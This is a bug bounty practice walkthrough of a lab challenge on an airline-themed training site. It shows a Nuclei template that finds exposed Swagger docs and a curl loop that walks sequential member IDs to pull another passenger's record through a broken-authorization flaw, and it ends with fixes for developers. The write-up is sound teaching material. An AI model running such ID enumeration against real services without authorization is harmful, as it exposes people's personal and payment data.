A Bug Bounty Masterclass Walkthrough
In the world of bug bounty hunting, we often look for the "flashy" exploits RCE or complex SSRF. But sometimes, the most devastating vulnerabilities are the simplest. Today, I'm walking through a challenge that mirrors a real-world critical finding where a major airline leaked passenger PII (Personally Identifiable Information).
1. The Entry Point: Reconnaissance
The target was airlines.bugbountymasterclass.com. My breakthrough came when I stumbled upon a Swagger UI page at /docs/. Swagger is an API's roadmap; it lists every endpoint, every required parameter, and the authentication requirements.
Automating Discovery with Nuclei
I used a custom Nuclei template to scan the infrastructure for exposed docs. If you're hunting, this is your bread and butter:
YAML
id: swagger-directory-discovery
info:
name: Swagger UI Directory Discovery
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/docs/"
- "{{BaseURL}}/swagger-ui.html"
- "{{BaseURL}}/api/docs/"
matchers-condition: and
matchers:
- type: word
words: ["swagger-ui", "OpenAPI"]
condition: or
- type: status
status: [200]2. The Vulnerability: Broken Object Level Authorization
While reviewing the Swagger docs, I noticed a discrepancy:
- The Locked:
/api/getContactInfo(Required aBearertoken). - The Exposed:
/api/getMembership(Listed as unauthenticated).
The developers correctly secured the "sensitive" contact info but forgot to lock the "membership" info. However, both endpoints drew from the same data source.
3. The Exploit: Walking the IDs
Using the public /api/getMemberships list, I found two valid member IDs:
7204100852072041008521
In many legacy systems, these IDs are sequential. I pivoted to my terminal to "walk" the IDs and see if I could access records I wasn't authorized to see.
The Automation Script:
for i in {510..530}; do
echo "Testing ID 72041008$i..."
curl -s "https://api.airlines.bugbountymasterclass.com/api/getMembership?memberId=72041008$i"
done4. The Payload & The Flag
Halfway through the loop, the server returned a record for Casey Smith. Because the API suffered from Excessive Data Exposure, it didn't just return a name it dumped the entire database object, including a hidden flag field.
The Result:
{
"memberId": "72041008520",
"engFirstName": "CASEY",
"engLastName": "SMITH",
"creditCard": {"lastFourDigits": "4849"},
"flag": "WIZFLAG-xxx-xxxxxxx-data-leak"
}5. Lessons for Developers
- Authorization at the Resource Level: Don't just check if a user is "logged in." Check if they own the specific
memberIdthey are requesting. - Disable Swagger in Production: Documentation should be behind a VPN or internal authentication.
- Use UUIDs: Replace sequential integers with random UUIDs to make ID guessing impossible.
Happy Hunting!
This represents a Critical severity bug. If this were real, thousands of addresses and partial payment details would be public. Thanks Nagli for the Lesson